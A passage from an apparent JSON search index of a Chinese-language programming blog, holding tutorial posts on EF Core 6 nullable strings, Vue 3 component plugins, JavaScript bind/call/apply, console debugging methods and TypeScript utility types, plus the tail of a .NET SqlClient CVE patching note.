Sdk=\u0026#34;Microsoft.NET.Sdk.Web\u0026#34;\u0026gt; \u0026lt;PropertyGroup\u0026gt; \u0026lt;TargetFramework\u0026gt;net6.0\u0026lt;/TargetFramework\u0026gt; \u0026lt;Nullable\u0026gt;enable\u0026lt;/Nullable\u0026gt; \u0026lt;ImplicitUsings\u0026gt;enable\u0026lt;/ImplicitUsings\u0026gt; \u0026lt;/PropertyGroup\u0026gt; \u0026lt;ItemGroup\u0026gt; \u0026lt;PackageReference Include=\u0026#34;Microsoft.Data.SqlClient\u0026#34; Version=\u0026#34;2.1.2\u0026#34; /\u0026gt; \u0026lt;/ItemGroup\u0026gt; \u0026lt;/Project\u0026gt; .NET Framework 請安裝 November 2022 Security and Quality Rollup Updates for .NET Framework。\n","date":"2022-11-11T00:00:00Z","image":"https://live.staticflickr.com/65535/52491745274_95b2fa11ec_o.jpg","permalink":"https://blog.wayne-project.com/2022-11-11/dotnet-cve-2022-41064/","title":".NET SqlClient 安全漏洞 CVE-2022-41064 解讀"},{"content":" 參考網站\n升級 .NET 6 踩到的小問題筆記。\n前情提要 依之前學到的 EF Core Model 設計，string 屬性預設對應的欄位預設為 Nullable，標註 [Required] 才會宣告為 NOT NULL。 不過，這條規則到 .NET 6 已有所改變。某段 EF Core 寫入資料庫時冒出欄位不允許 NULL，但 Model 中該屬性並未宣告為 [Required]。\n研究發現這與 .NET 6 啟用 Nullable Context 有關，csproj 多了 \u0026lt;Nullable\u0026gt;enable\u0026lt;/Nullable\u0026gt; 設定以支援 C# 8 推出的 Nullable Reference Type 概念。 設為 enable 時，Compiler 啟用 Null Reference Analysis 及相關語言特性，以字串為例，若 string 沒宣告成 string? 卻可能為 null 時會得到警告；若要明確標示此處就是要設成 null，可在後方加上 Null-Forgiving Operator， 例如 string x = null!;。\n若不想啟用此特性，設成 disable，Compiler 即會恢復 C# 7.3 以前的行為。\nEF Core 產生資料庫對應 SQL Schema 時，也會受 Nullable Context 影響，當 \u0026lt;Nullable\u0026gt;enable\u0026lt;/Nullable\u0026gt;，即使未加 [Required]，Model 的字串屬性仍會被視為不可為 null，在 CREATE TABLE 時會加上 NOT NULL。\n問題重現 用以下程式重現問題。簡單宣告了 Entity 型別、DbContext，其中 RequiredText 有加註 [Required]，另一個 OptionalText 則沒有，呼叫 DbContext.DataBase.GenerateCreateScript() 檢視其對應的 SQL Schema：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 using System.ComponentModel.DataAnnotations; using Microsoft.EntityFrameworkCore; var options = new DbContextOptionsBuilder\u0026lt;MyContext\u0026gt;() .UseSqlServer(\u0026#34;data source=(localdb)\\\\mssqllocaldb\u0026#34;) .Options; var dbCtx = new MyContext(options); Console.WriteLine(dbCtx.Database.GenerateCreateScript()); class MyContext : DbContext { public DbSet\u0026lt;Item\u0026gt; Items { get; set; } = null!; public MyContext(DbContextOptions\u0026lt;MyContext\u0026gt; options) : base(options) { } } public class Item //Entity 型別 { //慣例，屬性名稱為 Id 或 \u0026lt;type name\u0026gt;Id 會自動成為 Entity 的 Key public int ItemId { get; set; } [Required] public string RequiredText { get; set; } = null!; public string OptionalText { get; set; } = null!; } 如下圖所示，當 \u0026lt;Nullable\u0026gt;enable\u0026lt;/Nullable\u0026gt; 時，OptionalText 也會被加上 NOT NULL，換成 disable 才會恢復之前的規則。\n所以，.NET 6 啟用 Nullable Context 時，Model 字串屬性要允許 null，型別也需改成 string?，這樣才會對應成 Nullable 資料庫欄位。(註：RequiredText 故意拿掉 = null! 觸發 CS8618 警告，證明有設 \u0026lt;Nullable\u0026gt;enable\u0026lt;/Nullable\u0026gt;)\n","date":"2022-11-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52489392442_2208a4dc64_o.png","permalink":"https://blog.wayne-project.com/2022-11-10/efcore-6-string-not-null/","title":"Entity Framework Core 6.0 字串屬性對應欄位 NOT NULL 問題"},{"content":" 參考網站\n前情提要 在小專案裡我主要用 Vue.js 來處理 MVVM，用 \u0026lt;script\u0026gt; 載入 vue.js，寫幾行 JavaScript 搞定，走不寫模組，不用 TypeScript，免編譯打包的「輕前端」模式，但常用邏輯還是會寫成元件(Component)方便共用。\n在 Vue 2 時代，我習慣在網頁共用的 .js 裡使用 Vue.component(\u0026quot;my-component\u0026quot;, ...) 註冊元件，註冊一次，各網頁不需宣告就能使用元件。\n正式擺脫 IE 後，終於不用再死守 Vue 2，試著將一個小專案升級到 Vue 3，遇到小麻煩。\nVue 3 改變了元件註冊方式，不再提供全域註冊，必須先 Vue.createApp() 建立實體，app.component(\u0026quot;my-component\u0026quot;, ...) 註冊或用 components 屬性引用才能使用元件。參考：重新認識 Vue.js - 元件的宣告與註冊\n全域元件改成區域元件可減少程式間互相干擾，在軟體架構來說是正確的方向，但對簡單應用來說(例如：程式很單純，全域元件打架機率趨於零的場合)，這番調整讓元件註冊變得繁瑣。\n用個範例來說明。\nVue 2 註冊多個元件 原本 Vue 2 做法是在 my-components-vue2.js 中註冊多個元件：\nmy-components-vue2.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Vue.component(\u0026#39;date-tag\u0026#39;, { template: \u0026#39;\u0026lt;div\u0026gt;{{date}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { date: new Date().toJSON().slice(0, 10) }; } }); Vue.component(\u0026#39;time-tag\u0026#39;, { template: \u0026#39;\u0026lt;div\u0026gt;{{time}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { time: new Date().toJSON().slice(11, 19) }; } }); Vue.component(\u0026#39;host-tag\u0026#39;, { template: \u0026#39;\u0026lt;div\u0026gt;{{host}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { host: location.host }; } }); 如此，數十支 HTML 只需載入 my-components-vue2.js 便能在網頁使用 \u0026lt;date-tag\u0026gt;、\u0026lt;time-tag\u0026gt; 插入元件。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue@2.7.10/dist/vue.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;my-components-vue2.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;date-tag\u0026gt;\u0026lt;/date-tag\u0026gt; \u0026lt;time-tag\u0026gt;\u0026lt;/time-tag\u0026gt; \u0026lt;host-tag\u0026gt;\u0026lt;/host-tag\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; var app = new Vue({ el: \u0026#39;#app\u0026#39; }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 升級 Vue 3 之後 升級 Vue 3 之後，元件的 js 跟網頁都要做一些修改：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var dateTag = { template: \u0026#39;\u0026lt;div\u0026gt;{{date}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { date: new Date().toJSON().slice(0, 10) }; } }; var timeTag = { template: \u0026#39;\u0026lt;div\u0026gt;{{time}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { time: new Date().toJSON().slice(11, 19) }; } }; var hostTag = { template: \u0026#39;\u0026lt;div\u0026gt;{{host}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { host: location.host }; } }; 建立 app 寫法改為 Vue.createApp，並在宣告中透過 components 列舉要註冊的物件：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/vue@3\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;my-components-vue3-upgrade.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;date-tag\u0026gt;\u0026lt;/date-tag\u0026gt; \u0026lt;time-tag\u0026gt;\u0026lt;/time-tag\u0026gt; \u0026lt;host-tag\u0026gt;\u0026lt;/host-tag\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; var app = Vue.createApp({ components: { \u0026#39;date-tag\u0026#39;: dateTag, \u0026#39;time-tag\u0026#39;: timeTag, \u0026#39;host-tag\u0026#39;: hostTag } // 若元件物件名稱與標籤相符，可簡寫成 // components: { dateTag, timeTag, hostTag } }) .mount(\u0026#39;#app\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 假設我有 30 個網頁，30 個 app 都要加 components: { dateTag, timeTag, hostTag }，未來若新增其他元件，所有 components 列舉都要改，這是標準的「Copy \u0026amp; Paste 負面教材」呀，一想就覺得很不 OK 呀。\n這種情境，就是套件(Plugin，也有人翻成插件、外掛)上場的時刻。最簡單的套件寫法是寫一個 function，接收 app 及 options 參數，內部呼叫 app.component(...) 逐一註冊元件，options 則是自訂參數，可用來決定要註冊哪些元件或變更元件設定值，提高運用彈性。以下是簡單示範：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function myComponentsPlugin(app, options) { app.component(\u0026#39;date-tag\u0026#39;, { template: \u0026#39;\u0026lt;div\u0026gt;{{date}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { date: new Date().toJSON().slice(0, 10) }; } }); app.component(\u0026#39;time-tag\u0026#39;, { template: \u0026#39;\u0026lt;div\u0026gt;{{time}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { time: new Date().toJSON().slice(11, 19) }; } }); app.component(\u0026#39;host-tag\u0026#39;, { template: \u0026#39;\u0026lt;div\u0026gt;{{host}}\u0026lt;/div\u0026gt;\u0026#39;, data: function () { return { host: location.host }; } }); } 如此，呼叫端可簡化為 .use(myComponentsPlugin)，不需把所有元件列出來，未來要新增元件，修改 my-components-vue3.js 即可，保留原先全域元件的簡單方便：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/vue@3\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;my-components-vue3.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;date-tag\u0026gt;\u0026lt;/date-tag\u0026gt; \u0026lt;time-tag\u0026gt;\u0026lt;/time-tag\u0026gt; \u0026lt;host-tag\u0026gt;\u0026lt;/host-tag\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; var app = Vue.createApp({ //... }).use(myComponentsPlugin) .mount(\u0026#39;#app\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","date":"2022-11-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52489820266_b81b766288_o.png","permalink":"https://blog.wayne-project.com/2022-11-10/vue-2to3-global-component/","title":"Vue 2 升級 Vue 3 之全域元件註冊問題"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n使用 bind、call、apply 改變 this 指向的對象 如果想要改變 this 指向的對象，可以透過 bind、call、apply 這三個 method 辦到。\n1 2 3 4 5 6 7 8 9 10 11 const person = { userName: \u0026#39;Blueberry\u0026#39; } // 接著 create 一個函式來呼叫 person 的 userName： function callName() { console.log(\u0026#39;Hello \u0026#39; + this.userName); } // 呼叫 callName： callName(); output： 1 \u0026gt; Hello undefined 因為 callName() 函式中的 this 指向的是 global object（也就是 Window 物件），所以這時候我們希望把 callName() 的 this 指向 person 這個對象，可以使用以下方法：\nbind MDN web docs\n1 function.bind(thisArg[, arg1[, arg2[, ...]]]) bind 和其他兩個方法（call、apply）的不同有兩點：\nbind 是創造一個函式物件的拷貝，不會執行函式，因此 bind 之後還要再另外寫執行函式的動作；而 call、apply 是直接執行函式。 bind 後面傳入的參數值會設定為拷貝函式的永久參數值，之後執行拷貝函式時，無論怎麼給予參數都沒有用；而 call、apply 則是單純給予參數，像一般呼叫函式那樣。 我們先單純就第一點來說明，示範最基本的 bind 怎麼寫。\n第一種寫法 1 callName.bind(person)(); 也等於：\n1 2 const callFunction = callName.bind(person); // 創造函式物件的拷貝 callFunction(); // 執行函式 output： 1 \u0026gt; Hello Blueberry 第二種寫法，直接寫在函式表示式後面也可以 1 2 3 4 5 const callName = function() { console.log(\u0026#39;Hello \u0026#39; + this.userName); }.bind(person); callName(); output： 1 \u0026gt; Hello Blueberry 接下來針對第二點來說明，先來改寫一下 callName 函式，加入兩個 arguments：\n1 2 3 4 5 function callName(age, interest) { console.log(\u0026#39;Hello \u0026#39; + this.userName); console.log(\u0026#39;Your age is \u0026#39; + age); console.log(\u0026#39;Your interest is \u0026#39; + interest); } 接著我們除了要用 bind 將 this 指向 person 之外，還要給予 age 和 interest 這兩個參數。\n這邊有兩種做法：單純給定參數，或綁定永久參數值。\n單純給定參數 要單純給定參數的話，像一般執行函式那樣，在執行函式時再給予參數就可以了。\n1 2 const callFunction = callName.bind(person); callFunction(24, \u0026#39;Reading books\u0026#39;); output： 1 2 3 \u0026gt; Hello Blueberry \u0026gt; Your age is 24 \u0026gt; Your interest is Reading books 綁定永久參數值 如果將參數放在 bind 中，這個函式拷貝物件的參數值就會永遠被固定住。\n1 2 const callFunction = callName.bind(person, 24, \u0026#39;Reading books\u0026#39;); callFunction(30, \u0026#39;Playing games\u0026#39;); // 這邊無論再怎麼給參數都沒用 output： 1 2 3 \u0026gt; Hello Blueberry \u0026gt; Your age is 24 \u0026gt; Your interest is Reading books call MDN web docs\n1 function.call(this, arg1, arg2..., argn) call 和 bind 不同，它會直接執行函式，後面給的參數也不會被固定住。\n.call() 存在於任何一個函數或者方法上，是個 function 就可以調用 .call()。\n1 callName.call(person, 24, \u0026#39;Reading books\u0026#39;); output： 1 2 3 \u0026gt; Hello Blueberry \u0026gt; Your age is 24 \u0026gt; Your interest is Reading books 修改 this 指向 對於沒有定義在任何對像上的 function，實際上也有 this 指向，指向的是個全局對象。 對於定義在某個 object 上面的方法，this 指向，很好理解。 下面拿一個對象變數做例子，來說明問題：\n1 2 3 4 5 6 7 8 let sunan = { c: 3, test: function (a, b) { return a + b + this.c; } } console.log(sunan.test(1, 2)); // 6 console.log(sunan.test.call({ c: 4 }, 1, 2)); // 7 在這個例子裡面，.call() 的第一個參數傳入了一個新的對象，它覆蓋了原有的數據。c 屬性由 3 變成了 4，而 test 方法依然存在。\noutput： 1 2 \u0026gt; 6 \u0026gt; 7 apply MDN web docs\n1 function.apply(this, [arg1, arg2..., argn]) apply 的寫法跟 call 很相近，與 call 不同的是，後面的參數需要使用陣列傳遞，適合搭配 arguments 運用在算數的函式。\n1 callName.apply(person, [24, \u0026#39;Reading books\u0026#39;]); output： 1 2 3 \u0026gt; Hello Blueberry \u0026gt; Your age is 24 \u0026gt; Your interest is Reading books 同一個例子的 call 與 apply 寫法比較 1 2 callName.call(person, 24, \u0026#39;Reading books\u0026#39;); callName.apply(person, [24, \u0026#39;Reading books\u0026#39;]); 修改 this 指向 和 .call() 一樣，.apply() 的第一個參數也是修改 this 指向的。 可能的錯誤 也許會碰到下面的錯誤提示信息：\n1 TypeError: CreateListFromArrayLike called on non-object 解決方案就是把參數打包成數組[]，進行傳遞。\n使用情境 function borrowing： 借用 function function borrowing 就是借別人函式中的方法來用的意思，下面示範 somebody 借用 person 的 getUserName 方法。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 const person = { userName: \u0026#39;Blueberry\u0026#39;, getUserName: function() { console.log(this.userName); } } const somebody = { userName: \u0026#39;Fan\u0026#39; } // with bind() const newUser = person.getUserName.bind(somebody); newUser(); // with call() person.getUserName.call(somebody); // with apply() person.getUserName.apply(somebody); output： 1 2 3 \u0026gt; Fan \u0026gt; Fan \u0026gt; Fan function currying： 拷貝 function function currying 的定義為建立一個函式的拷貝，並設定預設的參數，這在數學運算下很有用。下面我們就利用 bind 的特性來完成 function currying。\n1 2 3 4 5 6 const mutiply = function (a, b) { return a * b; } const mutiplyByTwo = mutiply.bind(this, 2); console.log(mutiplyByTwo(4)); output： 1 \u0026gt; 8 上面我們建立了一個函式 mutiply(a, b)，並用 bind 建立函式物件拷貝 mutiplyByTwo()。\nmutiply.bind(this, 2) 這邊的 this 並不重要，因為函式裡沒有使用到 this。\n而後面的 2 則是永久綁定了參數 a。\n為了讓程式碼比較好理解，這邊將上面那段程式碼拆解，它也等於：\n1 2 3 4 5 6 7 8 const mutiply = function (a) { return (b) =\u0026gt; { return a * b; } } const mutiplyByTwo = mutiply(2); console.log(mutiplyByTwo(4)); output： 1 \u0026gt; 8 ","date":"2022-11-09T00:00:00Z","image":"https://live.staticflickr.com/65535/52487952181_5991519a08_o.jpg","permalink":"https://blog.wayne-project.com/2022-11-09/js-call-apply-bind/","title":"使用 bind、call、apply 改變 this 指向的對象"},{"content":" 參考網站\n寫 JavaScript 需要檢視運作是否正確時候，都會使用 console.log 來檢視輸出或運算的值，而 console 的運用技巧不僅僅只有將值呈現在開發的 Console 介面中。本篇就來介紹許多 console 語法的實戰運用方法吧！\n首先，在此先準備一份等等會用到的物件及陣列作為以下範例使用：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const Ming = { name: \u0026#39;小明\u0026#39;, age: 15, favorite: \u0026#39;鍋燒意麵\u0026#39; } const Jay = { name: \u0026#39;杰倫\u0026#39;, age: 16, favorite: \u0026#39;炒麵\u0026#39; } const Auntie = { name: \u0026#39;漂亮阿姨\u0026#39;, age: 21, favorite: \u0026#39;蘿蔔糕\u0026#39; } const people = [Ming, Jay, Auntie]; 為 console.log 的程式碼上色 有在 Facebook 頁面中開啟過開發者工具嗎？如果有，相信你對於以下這張圖並不陌生。\nConsole 中的文字並非只有固定的色彩，它與網頁中的文字一樣，都可以透過 CSS 的語法來調整其色彩，只要在 log 的文字前方先加入 %c 後，在 , 後方的參數就能夠傳入 CSS 語法做為參數，並且調整 Console 中呈現的文字樣式。\n1 console.log(`%c ${Ming.name} 有瑟瑟的顏色`, \u0026#39;color: orange; font-size: 24px\u0026#39;); console.table()：使用表格的方式陳列陣列的資訊 當要呈現資料於 Console 介面中，做常見的方式就是使用 log 的方法：\n1 2 3 4 5 6 // 基本用法 console.log(Ming); console.log(Jay); console.log(Auntie); console.log(people); 當然，這樣的用法絕對沒有問題，透過此方法可以將值一一陳列出來，不過當這些數值是 具有關聯性 時，一般的 log 就無法比較兩者之間的關係。\nconsole.table() 針對物件之間有相同的屬性名稱時，就能夠輕易的比較相同屬性之間的關係。\n1 2 console.table([Ming, Jay, Auntie]); console.table(people); 除此之外，表格上方的標頭還可以點選作為排序使用，如果拿到一個 JSON 想比對其中的值，還要轉貼到 Excel 或是 sort() 語法安排，不如直接改用 table() 進行比較吧。\nconsole.group()：群組化大量的 log 資訊 使用 log() 觀看迴圈值是合情合理的，不過當陣列的長度有上百筆時，Console 介面中的資料還真會滾到令人厭世。\n1 2 3 4 for (let index = 0; index \u0026lt; people.length; index++) { const element = people[index]; console.log(element); } 在迴圈中使用 console.log() 會一一呈現資料，數量一多看起來就會顯的很吃力\n使用 console.group()、console.groupEnd() 設置群組的起訖，在 Console 的介面中就能方便的收合群組內容。\n1 2 3 4 5 6 console.group(\u0026#39;迴圈群組\u0026#39;); for (let index = 0; index \u0026lt; people.length; index++) { const element = people[index]; console.log(element); } console.groupEnd(); console.group(/* 群組名稱 */) 可以傳入 群組名稱 做為參數，作為在 Console 介面中辨識群組的顯示名稱，在介面中的群組名稱也會以粗體名稱，並且可以點擊箭頭符號收合群組內容。\nconsole.time()：開發者最愛斤斤計較那 1ms 的效能了 每當寫出神邏輯的時候，都會擔心電腦效能跟不上自己的思維，這時候就可以使用 time() 追蹤片段程式碼所處理的時間差，得知自己是不是該換台電腦解決問題。\n1 2 3 4 5 6 7 // 時間追蹤 console.time(\u0026#39;迴圈處理時間\u0026#39;); for (let index = 0; index \u0026lt; people.length; index++) { const element = people[index]; console.log(element); } console.timeEnd(\u0026#39;迴圈處理時間\u0026#39;); 在起訖中分別加入 time() 以及 timeEnd()，執行程式碼後就可以獲得處理的結果。\nconsole.dir()：以物件的形式呈現資料 1 2 3 // HTML \u0026lt;p\u0026gt;推薦的 Console 語法\u0026lt;/p\u0026gt; const p = document.querySelector(\u0026#39;p\u0026#39;); console.log(p); 當使用 console.log() 查看 DOM 元素，並想了解其中可用的方法或屬性時…，它可能會出現如下帶點失望的標籤，並且心裡默罵：\n要這個幹嘛啦 要知道的是物件屬性、屬性 這時候需要的是 console.dir()，你會發現另一個新世界，原本的 DOM 元素被改為物件的形式呈現，你可以輕鬆展開此物件，並檢視裡面有哪些可用屬性。\n1 2 const p = document.querySelector(\u0026#39;p\u0026#39;); console.dir(p); 展開的 P 元素，包含其中所有的屬性（這在操作 DOM 時極為好用）\nconsole.error() 寫程式有錯誤是難免的，但是如果是錯誤，卻沒有明確的提示導致沒有被發現問題，就失去提示的意義了，如果想讓 Console 的內容更加醒目，可以使用 console.error() 使訊息在 Console 介面中以錯誤的形式呈現。\n1 console.error(`${Ming.name} 你完蛋了`); 當運用在一般文字訊息上時，也可以展開訊息並說明錯誤來源自哪一段程式碼。\n在 AJAX 的未確認狀態中，也會使用 console.error 來呈現錯誤的回饋訊息，以下範例刻意將 API 路徑調整成錯誤的，並透過 console.error() 來將錯誤的資訊呈現在 Console 介面中\n1 2 3 4 5 6 // Error axios.get(\u0026#39;https://randomuser.me/apis\u0026#39;) .then((res) =\u0026gt; console.log(res)) .catch((error) =\u0026gt; { console.error(\u0026#39;待誌大條啦: \u0026#39;, error.response) }) console.warn() 錯誤太突兀了嗎？如果是自行開發的函式庫，已經透過各種形式避免程式碼出錯，但還是想把有錯誤的訊息給予開發者知道，那麼則可以使用 console.warn()。\n1 2 3 4 5 6 7 8 9 10 11 12 // Warning /*** * 超精美函式庫 💖 * @param {number} num 純數值 * @param {string} text 請傳入字串 */ function superMagicLibrary(num, text) { if (typeof num !== \u0026#39;number\u0026#39;) { console.warn(\u0026#39;尊重一下好嗎，請傳入純數值\u0026#39;) } } superMagicLibrary(\u0026#39;字串\u0026#39;); 函式庫中大多會避免已知的錯誤，如果要友善的給予回饋，可以使用 warn() 代替 error() 提醒開發者更好的做法。\nconsole.clear() 如果覺得 Console 介面已經充滿了許多不必要的資訊，想要專注於當前開發的程式碼，那麼可以加入 console.clear()。\n畫面中會出現 Console was cleared 的字眼\n此語法亦可在 Console 介面中直接輸入，會直接清除當下的所有資訊內容。\n不過請慎用此方法，如果隨意插入 console.clear() 在不同的檔案中，不知情的夥伴一定會在開發中卡很久，可能發生的情境有…：\n奇怪，我寫的 Code 怎麼都沒顯示在 Console 編譯器壞了嗎？怎麼好像沒有運作 我的 Chrome 怪怪的 還有哪些方法你也常用，但沒有介紹到的呢？歡迎在底下留言區留言喔\n","date":"2022-11-03T00:00:00Z","image":"https://live.staticflickr.com/65535/52473860621_0ede00e99a_o.jpg","permalink":"https://blog.wayne-project.com/2022-11-03/js-8-console-tricks/","title":"8 招 JavaScript Console 運用技巧，讓你除錯更高效"},{"content":" 參考網站\n很多人在平時的開發中使用到了 TypeScript，但是可能只是單純使用了一些基本的類型，但很多人不知道其實 TypeScript 自帶了很多非常方便的方法，接下來我就結合例子，給大家介紹一下這些很方便的方法。\nTypeScript 自帶的方法 Partial 作用 Partial 將類型的屬性變成可選\n例子 假如我現在有個 interface\n1 2 3 4 5 interface IUser1 { name: string; age: number; gender: number; } 有一天，我想把 IUser 身上的屬性都變成可選的，那我可能會再寫一個 interface\n1 2 3 4 5 interface IUser2 { name?: string; age?: number; gender?: number; } 但是如果屬性多了的話，我們又得寫很多額外的代碼，這個時候就可以直接用 Partial\n1 2 3 4 5 6 7 8 9 type IUser2 = Partial\u0026lt;IUser1\u0026gt; // 等同於 interface IUser2 { name?: string; age?: number; gender?: number; } 原理 1 2 3 type Partial\u0026lt;T\u0026gt; = { [P in keyof T]?: T[P]; }; Required 作用 Required 將類型的屬性變成必選\n例子 假如我現在有個 interface\n1 2 3 4 5 interface IUser1 { name: string; age?: number; gender?: number; } 可以看到有一些屬性是可選的，但是突然有一天，我想讓所有屬性變成必選我會再寫一個 interface\n1 2 3 4 5 interface IUser2 { name: string; age: number; gender: number } 但如果屬性多了的話，又要寫很多額外的代碼，這時候 Required 就派上用場了\n1 2 3 4 5 6 7 8 9 type IUser2 = Required\u0026lt;IUser1\u0026gt; // 等同於 interface IUser2 { name: string; age: number; gender: number } 原理 1 2 3 type Required\u0026lt;T\u0026gt; = { [P in keyof T]-?: T[P] }; Pick 作用 Pick 從某個類型中挑出一些屬性出來\n例子 假如我現在有個 interface\n1 2 3 4 5 interface IUser1 { name: string; age: number; gender: number; } 有一天我想要寫一個新 interface，它只擁有 age、gender 這兩個屬性，那我會重新寫一個 interface\n1 2 3 4 interface IUser2 { age: number; gender: number; } 但其實使用 Pick 非常方便去做這件事\n1 2 3 4 5 6 7 8 type IUser2 = Pick\u0026lt;IUser1, \u0026#39;age\u0026#39; | \u0026#39;gender\u0026#39;\u0026gt; // 等同於 interface IUser2 { age: number; gender: number; } 原理 1 2 3 type Pick\u0026lt;T, K extends keyof T\u0026gt; = { [P in K]: T[P]; }; Omit 作用 Omit\u0026lt;T, K extends keyof any\u0026gt; 的作用是使用 T 類型中除了 K 類型的所有屬性，來構造一個新的類型。\n例子 假如我現在有個 interface\n1 2 3 4 5 interface IUser1 { name: string; age: number; gender: number; } 有一天我想要寫一個新 interface，它只擁有 age、gender 這兩個屬性，那我會重新寫一個 interface\n1 2 3 4 interface IUser2 { age: number; gender: number; } 但其實使用 Omit 非常方便去做這件事\n1 2 3 4 5 6 7 8 type IUser2 = Omit\u0026lt;IUser1, \u0026#39;name\u0026#39;\u0026gt; // 等同於 interface IUser2 { age: number; gender: number; } 原理 1 type Omit\u0026lt;T, K extends keyof any\u0026gt; = Pick\u0026lt;T, Exclude\u0026lt;keyof T, K\u0026gt;\u0026gt;; NonNullable 作用 NonNullable 的作用是用來過濾類型中的 null 及 undefined 類型。\n例子 1 2 3 4 5 // string | number type T0 = NonNullable\u0026lt;string | number | undefined\u0026gt;; // string[] type T1 = NonNullable\u0026lt;string[] | null | undefined\u0026gt;; 原理 1 type NonNullable\u0026lt;T\u0026gt; = T extends null | undefined ? never : T; ReturnType 作用 ReturnType 的作用是用來得到一個函數的返回值類型。\n例子 假如我想定義一個變量來接受一個函數的返回值，但是不知道怎麼定義這個變量的類型，這個時候可以用 ReturnType\n1 2 3 4 5 6 type Func = (value: number) =\u0026gt; string; let str: ReturnType\u0026lt;Func\u0026gt;; const fun: Func = (value: number) =\u0026gt; String(value) str = fun(1) 原理 1 2 type ReturnType\u0026lt;T extends (...args: any[]) =\u0026gt; any\u0026gt; = T extends (...args: any[]) =\u0026gt; infer R ? R : any; Exclude 作用 Exclude\u0026lt;T, U\u0026gt; 的作用是將某個類型中屬於另一個的類型移除掉。\n例子 1 2 3 4 5 type T0 = Exclude\u0026lt;\u0026#34;a\u0026#34; | \u0026#34;b\u0026#34; | \u0026#34;c\u0026#34;, \u0026#34;a\u0026#34;\u0026gt;; // \u0026#34;b\u0026#34; | \u0026#34;c\u0026#34; type T1 = Exclude\u0026lt;\u0026#34;a\u0026#34; | \u0026#34;b\u0026#34; | \u0026#34;c\u0026#34;, \u0026#34;a\u0026#34; | \u0026#34;b\u0026#34;\u0026gt;; // \u0026#34;c\u0026#34; type T2 = Exclude\u0026lt;string | number | (() =\u0026gt; void), Function\u0026gt;; // string | number 原理 1 type Exclude\u0026lt;T, U\u0026gt; = T extends U ? never : T; Record 作用 Record\u0026lt;K extends keyof any, T\u0026gt; 的作用是將 K 中所有的屬性的值轉化爲 T 類型。\n例子 1 2 3 4 5 6 7 8 9 10 11 interface PageInfo { title: string; } type Page = \u0026#34;home\u0026#34; | \u0026#34;about\u0026#34; | \u0026#34;contact\u0026#34;; const x: Record\u0026lt;Page, PageInfo\u0026gt; = { about: { title: \u0026#34;about\u0026#34; }, contact: { title: \u0026#34;contact\u0026#34; }, home: { title: \u0026#34;home\u0026#34; }, }; 原理 1 2 3 type Record\u0026lt;K extends keyof any, T\u0026gt; = { [P in K]: T; }; Readonly 作用 Readonly 的作用是將某個類型所有屬性變爲只讀屬性，也就意味着這些屬性不能被重新賦值。\n例子 1 2 3 4 5 6 7 8 9 10 interface Todo { title: string; } const todo: Readonly\u0026lt;Todo\u0026gt; = { title: \u0026#34;Delete inactive users\u0026#34; }; todo.title = \u0026#34;Hello\u0026#34;; // Error: cannot reassign a readonly property 原理 1 2 3 type Readonly\u0026lt;T\u0026gt; = { readonly [P in keyof T]: T[P]; }; 